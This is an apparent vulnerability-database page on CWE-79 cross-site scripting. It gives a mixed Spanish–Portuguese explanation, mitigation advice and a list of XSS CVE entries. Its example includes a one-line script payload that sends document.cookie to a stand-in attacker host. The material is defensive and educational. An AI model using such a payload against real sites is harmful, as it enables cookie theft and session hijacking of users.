Fallos del tipo CWE-79

30.539 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-67875HIGHChurchCRM has stored XSS via Person Property Assignment Leading to Admin Session HijackingEPSS 0.2%CVE-2026-6871MEDIUMObfuscate - Moderately critical - Cross-site scripting - SA-CONTRIB-2026-033EPSS 0.2%CVE-2026-30082MEDIUMMultiple stored cross-site scripting (XSS) vulnerabilities in the Edit feature of the Software Package List page of IngEstate Server v11.14.EPSS 0.2%CVE-2026-27948MEDIUMCopyparty vulnerable to eflected cross-site scripting via setck parameterEPSS 0.2%CVE-2026-22349MEDIUMWordPress Menu In Post plugin <= 1.4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-43770MEDIUMA reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.QEPSS 0.2%CVE-2026-22347MEDIUMWordPress Carousel Horizontal Posts Content Slider plugin <= 3.3.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-12066MEDIUMWP Delete Post Copies <= 6.0.2 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-49381LOWIn JetBrains TeamCity before 2026.1 stored XSS on the SAML login page was possibleEPSS 0.2%CVE-2025-67983MEDIUMWordPress WP Visitor Statistics (Real Time Traffic) plugin <= 8.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-113409MEDIUMThe Ortto plugin for WordPress before 1.0.25 did not escape stored settings on its admin settings page, leading to stored cross-site scriptiEPSS 0.2%CVE-2026-47106MEDIUMEllucian Banner Self-Service Stored XSS via getFacultyMeetingTimes APIEPSS 0.2%CVE-2026-22353MEDIUMWordPress teachPress plugin <= 9.0.12 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-54706MEDIUMWordPress Magical Posts Display Plugin plugin <= 1.2.52 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-65012MEDIUMKirby CMS has cross-site scripting (XSS) in the changes dialogEPSS 0.2%CVE-2026-24784MEDIUMDotNetNuke.Core has a potential XSS vulnerability in modules' header and footerEPSS 0.2%CVE-2025-40893MEDIUMHTML injection in Asset List in Guardian/CMC before 25.5.0EPSS 0.2%CVE-2026-96830HIGHWordPress GiveWP plugin <= 4.16.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-3498MEDIUMBlockArt Blocks <= 2.2.15 - Authenticated (Author+) Stored Cross-Site Scripting via 'clientId' Block AttributeEPSS 0.2%CVE-2026-5468MEDIUMCasdoor dangerouslySetInnerHTML cross site scriptingEPSS 0.2%